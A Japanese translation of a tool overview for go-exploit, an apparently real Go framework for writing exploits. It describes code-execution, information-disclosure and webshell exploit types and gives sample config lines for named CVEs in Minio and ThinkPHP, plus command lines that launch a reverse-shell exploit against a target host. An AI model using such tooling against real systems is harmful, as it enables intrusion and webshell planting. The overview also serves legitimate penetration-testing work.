go-exploit: Go Exploit Framework
go-exploit はGo向けのexploit開発フレームワークです。このフレームワークは、exploit開発者が小型で自己完結型、ポータブル、一貫性のあるエクスプロイトを作成する際に役立ちます。
ハッキングとクラッキング
多くの概念実証エクスプロイトは、複雑なパッケージングシステムを備えたインタプリタ言語に依存しています。これらは大きく異なるユーザーインターフェイスを実装しており、ターゲットネットワーク内で実行される能力が限定されています。一部のエクスプロイトは、年月にわたって積み重ねられた多数の機能と依存関係により圧倒されている巨大なフレームワークに統合されており、開発者の負担となり、エクスプロイトを非標準的な場所から展開する攻撃者の能力を阻害しています。
これらの課題を克服するため、go-exploitは最小限の依存関係を備えた軽量フレームワークを提供します。Goで書かれており、このプログラミング言語は移植性とクロスコンパイル機能で知られています。このフレームワークは、迅速な概念実証開発の単純性と、運用使用のための高度な組み込み機能の間のバランスを取っています。
このプロジェクトはVulnCheckによって開発・維持されています。
go-exploitフレームワークは現在3つのエクスプロイトタイプをサポートしています。これらのタイプは、コマンドラインインターフェイスがどのように引数を受け付け、事後搾取動作を定義するかを決定します。3つのエクスプロイトタイプはconfig/config.goで定義されています:
- CodeExecution
- InformationDisclosure
- Webshell
エクスプロイトのmain関数でエクスプロイトタイプを設定するには、config.New関数を次のように使用できます:
例
コード実行
コード実行エクスプロイトタイプは、攻撃者がリモートターゲットの悪用を試みていることを前提としています。設定されたコマンドアンドコントロール(C2)方式に応じて、攻撃者はローカルホスト情報またはバインドポートを提供する必要がある場合があります。以下は、コード実行エクスプロイトタイプを使用してリバースシェルの検証、バージョンチェック、エクスプロイトを呼び出す例です:
./exploit -a -v -c -e -rhost 10.12.70.247 -rport 80 -lhost 10.12.70.252 -lport 1270
情報開示
情報開示エクスプロイトタイプは、コード実行に直ちに至らない何らかの情報漏洩が存在することを前提としています。このエクスプロイトタイプではコマンドアンドコントロール(C2)は設定されていません。main関数では、次のようになります:
conf := config.New(config.InformationDisclosure, []c2.Impl{}, “Minio API”, “CVE-2023-28432”, 9000)
特定のエクスプロイトに応じて、-lhostおよび-lport引数を使用してローカルホストとポートを提供する必要がある場合があります。以下は、情報開示エクスプロイトタイプを使用して検証、バージョンチェック、エクスプロイトを呼び出す例です:
./exploit -v -c -e -s -rhost 10.12.70.247 -rport 443
ウェブシェル
WebShellエクスプロイトタイプは、エクスプロイトがリモートホスト上にウェブシェルをドロップすることを前提としています。このエクスプロイトタイプではコマンドアンドコントロール(C2)は設定されていません。main関数では、次のようになります:
conf := config.New(config.Webshell, []c2.Impl{}, “ThinkPHP”, “CVE-2022-47945”, 8080)
以下は、WebShellエクスプロイトタイプを使用して検証、バージョンチェック、エクスプロイトを呼び出す例です:
./exploit -v -c -e -s -rhost 10.12.70.247 -rport 443
インストール
Copyright 2023 VulnCheck Inc
翻訳元: https://meterpreter.org/go-exploit-go-exploit-framework/